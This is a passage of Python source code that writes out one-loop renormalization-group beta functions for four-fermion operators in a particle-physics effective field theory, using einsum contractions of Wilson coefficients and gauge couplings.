2*qu*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((2)/(3))*e**2*qu*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1uuLR"]) + 2*my_einsum("st,prww",C["delta"],C["VuuRR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLR"]) + qe*my_einsum("st,wwpr",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuRR"])) + ((g**2)/(6*Nc))*(Nc*(my_einsum("pt,wwsr",C["delta"],C["V8duLR"]) + my_einsum("pt,srww",C["delta"],C["V8udRR"]) + my_einsum("pt,wwsr",C["delta"],C["V8uuLR"]) + 4*my_einsum("pt,swwr",C["delta"],C["VuuRR"])) + Nc*(my_einsum("rs,wwpt",C["delta"],C["V8duLR"]) + my_einsum("rs,ptww",C["delta"],C["V8udRR"]) + my_einsum("rs,wwpt",C["delta"],C["V8uuLR"]) + 4*my_einsum("rs,pwwt",C["delta"],C["VuuRR"])) - (my_einsum("pr,wwst",C["delta"],C["V8duLR"]) + my_einsum("pr,stww",C["delta"],C["V8udRR"]) + my_einsum("pr,wwst",C["delta"],C["V8uuLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) - (my_einsum("st,wwpr",C["delta"],C["V8duLR"]) + my_einsum("st,prww",C["delta"],C["V8udRR"]) + my_einsum("st,wwpr",C["delta"],C["V8uuLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuRR"]))) + (12*e**2*qu**2 - ((6*g**2)/(Nc)))*my_einsum("prst",C["VuuRR"]) + 6*g**2*my_einsum("ptsr",C["VuuRR"]) - ((8)/(3))*CF*e**2*qu**2*(my_einsum("wp,wr,st",C["uG"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) - ((1)/(2*Nc))*(((16)/(3))*CF + 3*Cd - 5*CA - 24*Nc*C1)*g**2*(my_einsum("wp,wr,st",C["uG"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) + ((1)/(2))*(((16)/(3))*CF + 3*Cd - 5*CA)*g**2*(my_einsum("wp,wt,sr",C["uG"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wr,pt",C["uG"].conj(),C["uG"],C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qu*(my_einsum("wp,wr,st",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("wp,wr,st",C["uG"].conj(),C["ugamma"],C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qu*(my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"])) + 8*e*g*qu*(my_einsum("wp,wt,sr",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("wp,wt,sr",C["uG"].conj(),C["ugamma"],C["delta"])) + 8*e*g*qu*(my_einsum("ws,wr,pt",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wr,pt",C["uG"].conj(),C["ugamma"],C["delta"])) + (((52)/(3))*e**2*qu**2 + ((4)/(3*Nc))*g**2)*(my_einsum("wp,wr,st",C["ugamma"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"])) - ((4)/(3))*g**2*(my_einsum("wp,wt,sr",C["ugamma"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wr,pt",C["ugamma"].conj(),C["ugamma"],C["delta"])) + e**2*qu**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) - ((1)/(2*Nc))*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) + ((1)/(2))*g**2*zetag*my_einsum("pt,sr",C["delta"],C["delta"]) Beta["VddRR"] = ((2)/(3))*e**2*qd*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((2)/(3))*e**2*qd*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("st,prww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1udLR"]) + my_einsum("st,wwpr",C["delta"],C["V1udRR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VedLR"]) + qe*my_einsum("st,wwpr",C["delta"],C["VedRR"]) + 2*qd*my_einsum("st,pwwr",C["delta"],C["VddRR"])) + ((g**2)/(6*Nc))*(Nc*(my_einsum("pt,wwsr",C["delta"],C["V8udLR"]) + my_einsum("pt,wwsr",C["delta"],C["V8ddLR"]) + 4*my_einsum("pt,swwr",C["delta"],C["VddRR"]) + my_einsum("pt,wwsr",C["delta"],C["V8udRR"])) + Nc*(my_einsum("rs,wwpt",C["delta"],C["V8udLR"]) + my_einsum("rs,wwpt",C["delta"],C["V8ddLR"]) + 4*my_einsum("rs,pwwt",C["delta"],C["VddRR"]) + my_einsum("rs,wwpt",C["delta"],C["V8udRR"])) - (my_einsum("pr,wwst",C["delta"],C["V8udLR"]) + my_einsum("pr,wwst",C["delta"],C["V8ddLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VddRR"]) + my_einsum("pr,wwst",C["delta"],C["V8udRR"])) - (my_einsum("st,wwpr",C["delta"],C["V8udLR"]) + my_einsum("st,wwpr",C["delta"],C["V8ddLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VddRR"]) + my_einsum("st,wwpr",C["delta"],C["V8udRR"]))) + (12*e**2*qd**2 - ((6*g**2)/(Nc)))*my_einsum("prst",C["VddRR"]) + 6*g**2*my_einsum("ptsr",C["VddRR"]) - ((8)/(3))*CF*e**2*qd**2*(my_einsum("wp,wr,st",C["dG"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) - ((1)/(2*Nc))*(((16)/(3))*CF + 3*Cd - 5*CA - 24*Nc*C1)*g**2*(my_einsum("wp,wr,st",C["dG"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) + ((1)/(2))*(((16)/(3))*CF + 3*Cd - 5*CA)*g**2*(my_einsum("wp,wt,sr",C["dG"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wr,pt",C["dG"].conj(),C["dG"],C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qd*(my_einsum("wp,wr,st",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("wp,wr,st",C["dG"].conj(),C["dgamma"],C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qd*(my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"])) + 8*e*g*qd*(my_einsum("wp,wt,sr",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("wp,wt,sr",C["dG"].conj(),C["dgamma"],C["delta"])) + 8*e*g*qd*(my_einsum("ws,wr,pt",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wr,pt",C["dG"].conj(),C["dgamma"],C["delta"])) + (((52)/(3))*e**2*qd**2 + ((4)/(3*Nc))*g**2)*(my_einsum("wp,wr,st",C["dgamma"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"])) - ((4)/(3))*g**2*(my_einsum("wp,wt,sr",C["dgamma"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wr,pt",C["dgamma"].conj(),C["dgamma"],C["delta"])) + e**2*qd**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) - ((1)/(2*Nc))*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) + ((1)/(2))*g**2*zetag*my_einsum("pt,sr",C["delta"],C["delta"]) Beta["V1udRR"] = ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1uuLR"]) + 2*my_einsum("st,prww",C["delta"],C["VuuRR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLR"]) + qe*my_einsum("st,wwpr",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuRR"])) + 12*e**2*qd*qu*my_einsum("prst",C["V1udRR"]) + 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8udRR"]) - (((16)/(3))*CF*e**2*qu*qd - 24*g**2*C1)*(my_einsum("wp,wr,st",C["uG"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) + 8*CF*e*g*qd*(my_einsum("wp,wr,st",C["uG"].conj(),C["ugamma"],C["delta"]) + my_einsum("wp,wr,st",C["ugamma"].conj(),C["uG"],C["delta"])) + 8*CF*e*g*qu*(my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"])) + e**2*(24*qd**2 + ((32)/(3))*qu*qd)*my_einsum("wp,wr,st",C["ugamma"].conj(),C["ugamma"],C["delta"]) + e**2*(24*qu**2 + ((32)/(3))*qu*qd)*my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"]) + 2*e**2*qu*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8udRR"] = ((2)/(3))*g**2*(my_einsum("pr,wwst",C["delta"],C["V8udLR"]) + my_einsum("pr,wwst",C["delta"],C["V8ddLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VddRR"]) + my_einsum("pr,wwst",C["delta"],C["V8udRR"])) + ((2)/(3))*g**2*(my_einsum("st,wwpr",C["delta"],C["V8duLR"]) + my_einsum("st,prww",C["delta"],C["V8udRR"]) + my_einsum("st,wwpr",C["delta"],C["V8uuLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuRR"])) + 12*g**2*my_einsum("prst",C["V1udRR"]) + (12*e**2*qd*qu - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8udRR"]) + g**2*(((32)/(3))*CF + 6*Cd - 10*CA)*(my_einsum("wp,wr,st",C["uG"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) + 8*e*g*(qu + 3*qd)*(my_einsum("wp,wr,st",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("wp,wr,st",C["uG"].conj(),C["ugamma"],C["delta"])) + 8*e*g*(qd + 3*qu)*(my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"])) - ((16)/(3))*g**2*(my_einsum("wp,wr,st",C["ugamma"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) # \psi^4: (\overline L L)*(\overline R R) Beta["VnueLR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) - 96*e**2*qe**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VeeLR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("pr,wwst",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuRR"]) + qe*(my_einsum("pr,wwst",C["delta"],C["VeeLR"]) + 4*my_einsum("pr,stww",C["delta"],C["VeeRR"]))) + ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) - 12*e**2*qe**2*my_einsum("prst",C["VeeLR"]) - ((40)/(3))*e**2*qe**2*(my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["egamma"].conj(),C["egamma"],C["delta"])) + 96*e**2*qe**2*my_einsum("pt,rs",C["egamma"],C["egamma"].conj()) + 2*e**2*qe**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VnuuLR"] = ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) - 96*e**2*qu**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VnudLR"] = ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) - 96*e**2*qd**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VeuLR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1uuLR"]) + 2*my_einsum("pr,stww",C["delta"],C["VuuRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) - 12*e**2*qe*qu*my_einsum("prst",C["VeuLR"]) - ((16)/(3))*CF*e**2*qe*qu*my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"]) + 8*CF*e*g*qe*(my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"])) + e**2*(((32)/(3))*qe*qu - 24*qu**2)*my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qe*qu - 24*qe**2)*my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"]) + 2*e**2*qu*qe*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VedLR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) - 12*e**2*qd*qe*my_einsum("prst",C["VedLR"]) - ((16)/(3))*CF*e**2*qe*qd*my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"]) + 8*CF*e*g*qe*(my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"])) + e**2*(((32)/(3))*qe*qd - 24*qd**2)*my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qe*qd - 24*qe**2)*my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"]) + 2*e**2*qd*qe*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VueLR"] = ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("pr,wwst",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuRR"]) + qe*(my_einsum("pr,wwst",C["delta"],C["VeeLR"]) + 4*my_einsum("pr,stww",C["delta"],C["VeeRR"]))) + ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("st,prww",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V1uuLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLL"]) + qe*my_einsum("st,prww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuLL"])) - 12*e**2*qe*qu*my_einsum("prst",C["VueLR"]) - ((16)/(3))*CF*e**2*qe*qu*my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + 8*CF*e*g*qe*(my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"])) + e**2*(((32)/(3))*qe*qu - 24*qe**2)*my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qe*qu - 24*qu**2)*my_einsum("ws,wt,pr",C["egamma"].conj(),C["egamma"],C["delta"]) + 2*e**2*qu*qe*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VdeLR"] = ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("pr,wwst",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuRR"]) + qe*(my_einsum("pr,wwst",C["delta"],C["VeeLR"]) + 4*my_einsum("pr,stww",C["delta"],C["VeeRR"]))) + ((4)/(3))*e**2*qe*(Nc*qd*2*my_einsum("st,prww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1udLL"]) + my_einsum("st,prww",C["delta"],C["V1duLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VedLL"]) + qe*my_einsum("st,prww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("st,pwwr",C["delta"],C["VddLL"])) - 12*e**2*qd*qe*my_einsum("prst",C["VdeLR"]) - ((16)/(3))*CF*e**2*qe*qd*my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + 8*CF*e*g*qe*(my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"])) + e**2*(((32)/(3))*qe*qd - 24*qe**2)*my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qe*qd - 24*qd**2)*my_einsum("ws,wt,pr",C["egamma"].conj(),C["egamma"],C["delta"]) + 2*e**2*qd*qe*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VnueduLR"] = - 6*e**2*qe*qd*my_einsum("prst",C["VnueduLR"]) Beta["V1uuLR"] = ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1uuLR"]) + 2*my_einsum("pr,stww",C["delta"],C["VuuRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("st,prww",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V1uuLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLL"]) + qe*my_einsum("st,prww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuLL"])) - 12*e**2*qu**2*my_einsum("prst",C["V1uuLR"]) - 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8uuLR"]) + (96*g**2*C1*((1)/(Nc)) + 24*g**2*Cd*((Nc**2 - 1)/(2*Nc**2)) + 48*e**2*qu**2*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["uG"],C["uG"].conj()) - (((16)/(3))*CF*e**2*qu**2 + 24*g**2*C1)*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) + 48*e*g*qu*((Nc**2 - 1)/(2*Nc**2))*(my_einsum("pt,rs",C["ugamma"],C["uG"].conj()) + my_einsum("pt,rs",C["uG"],C["ugamma"].conj())) + 8*CF*e*g*qu*(my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"])) + 8*CF*e*g*qu*(my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"])) + (96*e**2*qu**2*((1)/(Nc)) + 48*g**2*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["ugamma"],C["ugamma"].conj()) - ((40)/(3))*e**2*qu**2*(my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"])) + 2*e**2*qu**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8uuLR"] = ((2)/(3))*g**2*(my_einsum("pr,wwst",C["delta"],C["V8duLR"]) + my_einsum("pr,stww",C["delta"],C["V8udRR"]) + my_einsum("pr,wwst",C["delta"],C["V8uuLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((2)/(3))*g**2*(my_einsum("st,prww",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8udLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V8uuLR"])) - 12*g**2*my_einsum("prst",C["V1uuLR"]) - (12*e**2*qu**2 + 6*g**2*Nc - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8uuLR"]) + (192*g**2*C1 - 24*g**2*Cd*((1)/(Nc)) - 48*e**2*qu**2*((1)/(Nc)))*my_einsum("pt,rs",C["uG"],C["uG"].conj()) + (((32)/(3))*CF - 6*Cd - 10*CA)*g**2*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) - 48*e*g*qu*((1)/(Nc))*(my_einsum("pt,rs",C["ugamma"],C["uG"].conj()) + my_einsum("pt,rs",C["uG"],C["ugamma"].conj())) - 16*e*g*qu*(my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"])) - 16*e*g*qu*(my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"])) + (192*e**2*qu**2 - 48*g**2*((1)/(Nc)))*my_einsum("pt,rs",C["ugamma"],C["ugamma"].conj()) - ((16)/(3))*g**2*(my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V1udLR"] = ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("st,prww",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V1uuLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLL"]) + qe*my_einsum("st,prww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuLL"])) - 12*e**2*qd*qu*my_einsum("prst",C["V1udLR"]) - 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8udLR"]) - (((16)/(3))*CF*e**2*qu*qd + 24*g**2*C1)*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) + 8*CF*e*g*qd*(my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"])) + 8*CF*e*g*qu*(my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"])) + e**2*(((32)/(3))*qu*qd - 24*qd**2)*my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qu*qd - 24*qu**2)*my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"]) + 2*e**2*qu*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8udLR"] = ((2)/(3))*g**2*(my_einsum("pr,wwst",C["delta"],C["V8udLR"]) + my_einsum("pr,wwst",C["delta"],C["V8ddLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VddRR"]) + my_einsum("pr,wwst",C["delta"],C["V8udRR"])) + ((2)/(3))*g**2*(my_einsum("st,prww",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8udLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V8uuLR"])) - 12*g**2*my_einsum("prst",C["V1udLR"]) - (12*e**2*qd*qu + 6*g**2*Nc - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8udLR"]) + (((32)/(3))*CF - 